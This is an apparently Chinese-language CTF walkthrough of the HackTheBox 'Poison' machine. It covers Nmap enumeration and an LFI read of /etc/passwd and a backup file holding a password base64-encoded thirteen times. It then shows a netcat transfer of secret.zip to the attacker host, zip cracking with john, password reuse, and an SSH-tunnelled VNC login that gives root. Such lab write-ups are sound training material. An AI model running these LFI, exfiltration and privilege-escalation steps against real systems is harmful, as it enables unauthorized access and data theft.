> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md). # Poison HackTheBox 复现 Poison HackTheBox 中等难度 Linux 靶机复现，涵盖本地文件包含（LFI）、ZIP 文件破解、滥用 VNC - vncviewer（权限提升），并包含实战枚举、利用、立足 {% embed url="" %} {% hint style="warning" %} **技能：** * 本地文件包含（LFI） * 破解 ZIP 文件 * 滥用 VNC - vncviewer（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts ```

**使用 Nmap 进行端口版本扫描（22、80）：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 10.10.10.84 -oN targeted ```

## 80 端口 - FreeBSD {% hint style="info" %} FreeBSD 是一种流行的开源自由操作系统，基于 Unix 操作系统的 BSD 版本。FreeBSD 以快速、稳定以及特别适合用作互联网服务器或文件服务器而闻名。 {% endhint %}

### **LFI 利用** 我们识别出一个易受攻击的参数： ``` ?file=FILE ```

这使我们能够读取系统中可用的任何文件。通过远程 `pwnbackup.txt`，我们发现一个指示加密密码的字符串 **用 base64 编码 13 次**: ``` Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo ```

使用……解密 `echo`: {% code overflow="wrap" %} ```bash echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo ``` {% endcode %} 泄露的密码是： * `Charix!2#4%6&8(0` ### **系统用户搜索** 我们列出 `/etc/passwd` 通过 LFI 并找到用户 **charix**.

使用找到的凭据进行 SSH 连接： ```bash ssh charix@10.10.10.84 ```

### user.txt 标志 :) Flag `user.txt` 已恢复

## **权限提升** 我们找到一个文件 **secret.zip**. #### **使用 Netcat 进行文件传输** 在我们的机器上： ```bash nc -nvlp 443 > secret.zip cat secret.zip | nc 10.10.14.50 443 ``` 该文件受密码保护。

### **ZIP 密码破解** **使用……提取哈希 `zip2john`**: 因此我们将使用 zip2john 提取哈希 ```bash zip2john secret.zip > hash ``` **使用……进行密码追踪 `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **结果**：未找到

我们测试先前发现的密码是否可复用：

/*成功！ /*/\* `secret` 文件包含奇怪字符，表明其中可能有访问密钥 ### 利用 5800、5801、5900、5901 - VNC 我们识别到正在监听的端口： ```bash netstat -an | grep LISTEN ```

#### **用于转发 VNC 端口的 SSH 隧道** ```bash ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84 ```

VNC 服务扫描： ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1 ```

#### **通过 vncviewer 登录** 我们使用在 `secret.zip`: ```bash vncviewer -passwd secret 127.0.0.1:5901 ``` 我们得到一个 **root 权限** 在这台机器上！

### root.txt 标志

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